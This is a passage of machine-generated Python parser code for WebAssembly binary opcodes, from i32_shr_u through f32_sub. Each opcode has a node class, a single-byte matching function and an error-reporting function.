== 118): _result = 118 _pos = (_pos + 1) _status = True else: _result = _raise_error1388 _status = False # End Byte if not (_status): break id = _result _result = i32_shr_u() _result._metadata.position_info = (start_pos148, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1388(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_shr_u' rule, at the expression:\n" ' 0x76\n\n' 'Expected to match the byte value 0x76' ) raise ParseError((title + details), _pos, line, col) class i32_rotl(Node): """ class i32_rotl { let id: 0x77 } """ _fields = () id = 0x77 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_rotl()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_rotl, fullparse) def _try_i32_rotl(_text, _pos): # Begin Seq start_pos149 = _pos while True: # Begin Byte # 0x77 if (_pos < len(_text)) and (_text[_pos] == 119): _result = 119 _pos = (_pos + 1) _status = True else: _result = _raise_error1392 _status = False # End Byte if not (_status): break id = _result _result = i32_rotl() _result._metadata.position_info = (start_pos149, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1392(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_rotl' rule, at the expression:\n" ' 0x77\n\n' 'Expected to match the byte value 0x77' ) raise ParseError((title + details), _pos, line, col) class i32_rotr(Node): """ class i32_rotr { let id: 0x78 } """ _fields = () id = 0x78 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_rotr()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_rotr, fullparse) def _try_i32_rotr(_text, _pos): # Begin Seq start_pos150 = _pos while True: # Begin Byte # 0x78 if (_pos < len(_text)) and (_text[_pos] == 120): _result = 120 _pos = (_pos + 1) _status = True else: _result = _raise_error1396 _status = False # End Byte if not (_status): break id = _result _result = i32_rotr() _result._metadata.position_info = (start_pos150, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1396(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_rotr' rule, at the expression:\n" ' 0x78\n\n' 'Expected to match the byte value 0x78' ) raise ParseError((title + details), _pos, line, col) class i64_clz(Node): """ class i64_clz { let id: 0x79 } """ _fields = () id = 0x79 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_clz()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_clz, fullparse) def _try_i64_clz(_text, _pos): # Begin Seq start_pos151 = _pos while True: # Begin Byte # 0x79 if (_pos < len(_text)) and (_text[_pos] == 121): _result = 121 _pos = (_pos + 1) _status = True else: _result = _raise_error1400 _status = False # End Byte if not (_status): break id = _result _result = i64_clz() _result._metadata.position_info = (start_pos151, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1400(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_clz' rule, at the expression:\n" ' 0x79\n\n' 'Expected to match the byte value 0x79' ) raise ParseError((title + details), _pos, line, col) class i64_ctz(Node): """ class i64_ctz { let id: 0x7a } """ _fields = () id = 0x7a def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_ctz()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_ctz, fullparse) def _try_i64_ctz(_text, _pos): # Begin Seq start_pos152 = _pos while True: # Begin Byte # 0x7a if (_pos < len(_text)) and (_text[_pos] == 122): _result = 122 _pos = (_pos + 1) _status = True else: _result = _raise_error1404 _status = False # End Byte if not (_status): break id = _result _result = i64_ctz() _result._metadata.position_info = (start_pos152, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1404(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_ctz' rule, at the expression:\n" ' 0x7a\n\n' 'Expected to match the byte value 0x7a' ) raise ParseError((title + details), _pos, line, col) class i64_popcnt(Node): """ class i64_popcnt { let id: 0x7b } """ _fields = () id = 0x7b def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_popcnt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_popcnt, fullparse) def _try_i64_popcnt(_text, _pos): # Begin Seq start_pos153 = _pos while True: # Begin Byte # 0x7b if (_pos < len(_text)) and (_text[_pos] == 123): _result = 123 _pos = (_pos + 1) _status = True else: _result = _raise_error1408 _status = False # End Byte if not (_status): break id = _result _result = i64_popcnt() _result._metadata.position_info = (start_pos153, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1408(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_popcnt' rule, at the expression:\n" ' 0x7b\n\n' 'Expected to match the byte value 0x7b' ) raise ParseError((title + details), _pos, line, col) class i64_add(Node): """ class i64_add { let id: 0x7c } """ _fields = () id = 0x7c def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_add()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_add, fullparse) def _try_i64_add(_text, _pos): # Begin Seq start_pos154 = _pos while True: # Begin Byte # 0x7c if (_pos < len(_text)) and (_text[_pos] == 124): _result = 124 _pos = (_pos + 1) _status = True else: _result = _raise_error1412 _status = False # End Byte if not (_status): break id = _result _result = i64_add() _result._metadata.position_info = (start_pos154, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1412(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_add' rule, at the expression:\n" ' 0x7c\n\n' 'Expected to match the byte value 0x7c' ) raise ParseError((title + details), _pos, line, col) class i64_sub(Node): """ class i64_sub { let id: 0x7d } """ _fields = () id = 0x7d def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_sub()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_sub, fullparse) def _try_i64_sub(_text, _pos): # Begin Seq start_pos155 = _pos while True: # Begin Byte # 0x7d if (_pos < len(_text)) and (_text[_pos] == 125): _result = 125 _pos = (_pos + 1) _status = True else: _result = _raise_error1416 _status = False # End Byte if not (_status): break id = _result _result = i64_sub() _result._metadata.position_info = (start_pos155, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1416(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_sub' rule, at the expression:\n" ' 0x7d\n\n' 'Expected to match the byte value 0x7d' ) raise ParseError((title + details), _pos, line, col) class i64_mul(Node): """ class i64_mul { let id: 0x7e } """ _fields = () id = 0x7e def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_mul()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_mul, fullparse) def _try_i64_mul(_text, _pos): # Begin Seq start_pos156 = _pos while True: # Begin Byte # 0x7e if (_pos < len(_text)) and (_text[_pos] == 126): _result = 126 _pos = (_pos + 1) _status = True else: _result = _raise_error1420 _status = False # End Byte if not (_status): break id = _result _result = i64_mul() _result._metadata.position_info = (start_pos156, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1420(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_mul' rule, at the expression:\n" ' 0x7e\n\n' 'Expected to match the byte value 0x7e' ) raise ParseError((title + details), _pos, line, col) class i64_div_s(Node): """ class i64_div_s { let id: 0x7f } """ _fields = () id = 0x7f def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_div_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_div_s, fullparse) def _try_i64_div_s(_text, _pos): # Begin Seq start_pos157 = _pos while True: # Begin Byte # 0x7f if (_pos < len(_text)) and (_text[_pos] == 127): _result = 127 _pos = (_pos + 1) _status = True else: _result = _raise_error1424 _status = False # End Byte if not (_status): break id = _result _result = i64_div_s() _result._metadata.position_info = (start_pos157, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1424(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_div_s' rule, at the expression:\n" ' 0x7f\n\n' 'Expected to match the byte value 0x7f' ) raise ParseError((title + details), _pos, line, col) class i64_div_u(Node): """ class i64_div_u { let id: 0x80 } """ _fields = () id = 0x80 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_div_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_div_u, fullparse) def _try_i64_div_u(_text, _pos): # Begin Seq start_pos158 = _pos while True: # Begin Byte # 0x80 if (_pos < len(_text)) and (_text[_pos] == 128): _result = 128 _pos = (_pos + 1) _status = True else: _result = _raise_error1428 _status = False # End Byte if not (_status): break id = _result _result = i64_div_u() _result._metadata.position_info = (start_pos158, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1428(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_div_u' rule, at the expression:\n" ' 0x80\n\n' 'Expected to match the byte value 0x80' ) raise ParseError((title + details), _pos, line, col) class i64_rem_s(Node): """ class i64_rem_s { let id: 0x81 } """ _fields = () id = 0x81 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_rem_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_rem_s, fullparse) def _try_i64_rem_s(_text, _pos): # Begin Seq start_pos159 = _pos while True: # Begin Byte # 0x81 if (_pos < len(_text)) and (_text[_pos] == 129): _result = 129 _pos = (_pos + 1) _status = True else: _result = _raise_error1432 _status = False # End Byte if not (_status): break id = _result _result = i64_rem_s() _result._metadata.position_info = (start_pos159, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1432(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_rem_s' rule, at the expression:\n" ' 0x81\n\n' 'Expected to match the byte value 0x81' ) raise ParseError((title + details), _pos, line, col) class i64_rem_u(Node): """ class i64_rem_u { let id: 0x82 } """ _fields = () id = 0x82 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_rem_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_rem_u, fullparse) def _try_i64_rem_u(_text, _pos): # Begin Seq start_pos160 = _pos while True: # Begin Byte # 0x82 if (_pos < len(_text)) and (_text[_pos] == 130): _result = 130 _pos = (_pos + 1) _status = True else: _result = _raise_error1436 _status = False # End Byte if not (_status): break id = _result _result = i64_rem_u() _result._metadata.position_info = (start_pos160, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1436(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_rem_u' rule, at the expression:\n" ' 0x82\n\n' 'Expected to match the byte value 0x82' ) raise ParseError((title + details), _pos, line, col) class i64_and(Node): """ class i64_and { let id: 0x83 } """ _fields = () id = 0x83 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_and()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_and, fullparse) def _try_i64_and(_text, _pos): # Begin Seq start_pos161 = _pos while True: # Begin Byte # 0x83 if (_pos < len(_text)) and (_text[_pos] == 131): _result = 131 _pos = (_pos + 1) _status = True else: _result = _raise_error1440 _status = False # End Byte if not (_status): break id = _result _result = i64_and() _result._metadata.position_info = (start_pos161, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1440(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_and' rule, at the expression:\n" ' 0x83\n\n' 'Expected to match the byte value 0x83' ) raise ParseError((title + details), _pos, line, col) class i64_or(Node): """ class i64_or { let id: 0x84 } """ _fields = () id = 0x84 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_or()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_or, fullparse) def _try_i64_or(_text, _pos): # Begin Seq start_pos162 = _pos while True: # Begin Byte # 0x84 if (_pos < len(_text)) and (_text[_pos] == 132): _result = 132 _pos = (_pos + 1) _status = True else: _result = _raise_error1444 _status = False # End Byte if not (_status): break id = _result _result = i64_or() _result._metadata.position_info = (start_pos162, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1444(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_or' rule, at the expression:\n" ' 0x84\n\n' 'Expected to match the byte value 0x84' ) raise ParseError((title + details), _pos, line, col) class i64_xor(Node): """ class i64_xor { let id: 0x85 } """ _fields = () id = 0x85 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_xor()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_xor, fullparse) def _try_i64_xor(_text, _pos): # Begin Seq start_pos163 = _pos while True: # Begin Byte # 0x85 if (_pos < len(_text)) and (_text[_pos] == 133): _result = 133 _pos = (_pos + 1) _status = True else: _result = _raise_error1448 _status = False # End Byte if not (_status): break id = _result _result = i64_xor() _result._metadata.position_info = (start_pos163, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1448(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_xor' rule, at the expression:\n" ' 0x85\n\n' 'Expected to match the byte value 0x85' ) raise ParseError((title + details), _pos, line, col) class i64_shl(Node): """ class i64_shl { let id: 0x86 } """ _fields = () id = 0x86 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_shl()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_shl, fullparse) def _try_i64_shl(_text, _pos): # Begin Seq start_pos164 = _pos while True: # Begin Byte # 0x86 if (_pos < len(_text)) and (_text[_pos] == 134): _result = 134 _pos = (_pos + 1) _status = True else: _result = _raise_error1452 _status = False # End Byte if not (_status): break id = _result _result = i64_shl() _result._metadata.position_info = (start_pos164, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1452(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_shl' rule, at the expression:\n" ' 0x86\n\n' 'Expected to match the byte value 0x86' ) raise ParseError((title + details), _pos, line, col) class i64_shr_s(Node): """ class i64_shr_s { let id: 0x87 } """ _fields = () id = 0x87 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_shr_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_shr_s, fullparse) def _try_i64_shr_s(_text, _pos): # Begin Seq start_pos165 = _pos while True: # Begin Byte # 0x87 if (_pos < len(_text)) and (_text[_pos] == 135): _result = 135 _pos = (_pos + 1) _status = True else: _result = _raise_error1456 _status = False # End Byte if not (_status): break id = _result _result = i64_shr_s() _result._metadata.position_info = (start_pos165, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1456(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_shr_s' rule, at the expression:\n" ' 0x87\n\n' 'Expected to match the byte value 0x87' ) raise ParseError((title + details), _pos, line, col) class i64_shr_u(Node): """ class i64_shr_u { let id: 0x88 } """ _fields = () id = 0x88 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_shr_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_shr_u, fullparse) def _try_i64_shr_u(_text, _pos): # Begin Seq start_pos166 = _pos while True: # Begin Byte # 0x88 if (_pos < len(_text)) and (_text[_pos] == 136): _result = 136 _pos = (_pos + 1) _status = True else: _result = _raise_error1460 _status = False # End Byte if not (_status): break id = _result _result = i64_shr_u() _result._metadata.position_info = (start_pos166, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1460(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_shr_u' rule, at the expression:\n" ' 0x88\n\n' 'Expected to match the byte value 0x88' ) raise ParseError((title + details), _pos, line, col) class i64_rotl(Node): """ class i64_rotl { let id: 0x89 } """ _fields = () id = 0x89 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_rotl()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_rotl, fullparse) def _try_i64_rotl(_text, _pos): # Begin Seq start_pos167 = _pos while True: # Begin Byte # 0x89 if (_pos < len(_text)) and (_text[_pos] == 137): _result = 137 _pos = (_pos + 1) _status = True else: _result = _raise_error1464 _status = False # End Byte if not (_status): break id = _result _result = i64_rotl() _result._metadata.position_info = (start_pos167, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1464(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_rotl' rule, at the expression:\n" ' 0x89\n\n' 'Expected to match the byte value 0x89' ) raise ParseError((title + details), _pos, line, col) class i64_rotr(Node): """ class i64_rotr { let id: 0x8a } """ _fields = () id = 0x8a def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_rotr()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_rotr, fullparse) def _try_i64_rotr(_text, _pos): # Begin Seq start_pos168 = _pos while True: # Begin Byte # 0x8a if (_pos < len(_text)) and (_text[_pos] == 138): _result = 138 _pos = (_pos + 1) _status = True else: _result = _raise_error1468 _status = False # End Byte if not (_status): break id = _result _result = i64_rotr() _result._metadata.position_info = (start_pos168, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1468(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_rotr' rule, at the expression:\n" ' 0x8a\n\n' 'Expected to match the byte value 0x8a' ) raise ParseError((title + details), _pos, line, col) class f32_abs(Node): """ class f32_abs { let id: 0x8b } """ _fields = () id = 0x8b def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_abs()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_abs, fullparse) def _try_f32_abs(_text, _pos): # Begin Seq start_pos169 = _pos while True: # Begin Byte # 0x8b if (_pos < len(_text)) and (_text[_pos] == 139): _result = 139 _pos = (_pos + 1) _status = True else: _result = _raise_error1472 _status = False # End Byte if not (_status): break id = _result _result = f32_abs() _result._metadata.position_info = (start_pos169, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1472(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_abs' rule, at the expression:\n" ' 0x8b\n\n' 'Expected to match the byte value 0x8b' ) raise ParseError((title + details), _pos, line, col) class f32_neg(Node): """ class f32_neg { let id: 0x8c } """ _fields = () id = 0x8c def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_neg()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_neg, fullparse) def _try_f32_neg(_text, _pos): # Begin Seq start_pos170 = _pos while True: # Begin Byte # 0x8c if (_pos < len(_text)) and (_text[_pos] == 140): _result = 140 _pos = (_pos + 1) _status = True else: _result = _raise_error1476 _status = False # End Byte if not (_status): break id = _result _result = f32_neg() _result._metadata.position_info = (start_pos170, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1476(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_neg' rule, at the expression:\n" ' 0x8c\n\n' 'Expected to match the byte value 0x8c' ) raise ParseError((title + details), _pos, line, col) class f32_ceil(Node): """ class f32_ceil { let id: 0x8d } """ _fields = () id = 0x8d def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_ceil()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_ceil, fullparse) def _try_f32_ceil(_text, _pos): # Begin Seq start_pos171 = _pos while True: # Begin Byte # 0x8d if (_pos < len(_text)) and (_text[_pos] == 141): _result = 141 _pos = (_pos + 1) _status = True else: _result = _raise_error1480 _status = False # End Byte if not (_status): break id = _result _result = f32_ceil() _result._metadata.position_info = (start_pos171, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1480(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_ceil' rule, at the expression:\n" ' 0x8d\n\n' 'Expected to match the byte value 0x8d' ) raise ParseError((title + details), _pos, line, col) class f32_floor(Node): """ class f32_floor { let id: 0x8e } """ _fields = () id = 0x8e def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_floor()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_floor, fullparse) def _try_f32_floor(_text, _pos): # Begin Seq start_pos172 = _pos while True: # Begin Byte # 0x8e if (_pos < len(_text)) and (_text[_pos] == 142): _result = 142 _pos = (_pos + 1) _status = True else: _result = _raise_error1484 _status = False # End Byte if not (_status): break id = _result _result = f32_floor() _result._metadata.position_info = (start_pos172, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1484(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_floor' rule, at the expression:\n" ' 0x8e\n\n' 'Expected to match the byte value 0x8e' ) raise ParseError((title + details), _pos, line, col) class f32_trunc(Node): """ class f32_trunc { let id: 0x8f } """ _fields = () id = 0x8f def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_trunc()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_trunc, fullparse) def _try_f32_trunc(_text, _pos): # Begin Seq start_pos173 = _pos while True: # Begin Byte # 0x8f if (_pos < len(_text)) and (_text[_pos] == 143): _result = 143 _pos = (_pos + 1) _status = True else: _result = _raise_error1488 _status = False # End Byte if not (_status): break id = _result _result = f32_trunc() _result._metadata.position_info = (start_pos173, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1488(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_trunc' rule, at the expression:\n" ' 0x8f\n\n' 'Expected to match the byte value 0x8f' ) raise ParseError((title + details), _pos, line, col) class f32_nearest(Node): """ class f32_nearest { let id: 0x90 } """ _fields = () id = 0x90 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_nearest()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_nearest, fullparse) def _try_f32_nearest(_text, _pos): # Begin Seq start_pos174 = _pos while True: # Begin Byte # 0x90 if (_pos < len(_text)) and (_text[_pos] == 144): _result = 144 _pos = (_pos + 1) _status = True else: _result = _raise_error1492 _status = False # End Byte if not (_status): break id = _result _result = f32_nearest() _result._metadata.position_info = (start_pos174, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1492(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_nearest' rule, at the expression:\n" ' 0x90\n\n' 'Expected to match the byte value 0x90' ) raise ParseError((title + details), _pos, line, col) class f32_sqrt(Node): """ class f32_sqrt { let id: 0x91 } """ _fields = () id = 0x91 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_sqrt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_sqrt, fullparse) def _try_f32_sqrt(_text, _pos): # Begin Seq start_pos175 = _pos while True: # Begin Byte # 0x91 if (_pos < len(_text)) and (_text[_pos] == 145): _result = 145 _pos = (_pos + 1) _status = True else: _result = _raise_error1496 _status = False # End Byte if not (_status): break id = _result _result = f32_sqrt() _result._metadata.position_info = (start_pos175, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1496(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_sqrt' rule, at the expression:\n" ' 0x91\n\n' 'Expected to match the byte value 0x91' ) raise ParseError((title + details), _pos, line, col) class f32_add(Node): """ class f32_add { let id: 0x92 } """ _fields = () id = 0x92 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_add()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_add, fullparse) def _try_f32_add(_text, _pos): # Begin Seq start_pos176 = _pos while True: # Begin Byte # 0x92 if (_pos < len(_text)) and (_text[_pos] == 146): _result = 146 _pos = (_pos + 1) _status = True else: _result = _raise_error1500 _status = False # End Byte if not (_status): break id = _result _result = f32_add() _result._metadata.position_info = (start_pos176, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1500(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_add' rule, at the expression:\n" ' 0x92\n\n' 'Expected to match the byte value 0x92' ) raise ParseError((title + details), _pos, line, col) class f32_sub(Node): """ class f32_sub { let id: 0x93 } """ _fields = () id = 0x93 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_sub()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_sub, fullparse) def _try_f32_sub(_text, _pos): # Begin Seq start_pos177 = _pos while True: # Begin Byte # 0x93 if (_pos < len(_text)) and (_text[_pos] == 147): _result = 147 _pos = (_pos + 1) _status = True else: _result = _raise_error1504 _status = False # End Byte if not (_status): break id = _result _result = f32_sub() _result._metadata.position_info = (start_pos177, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1504(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = 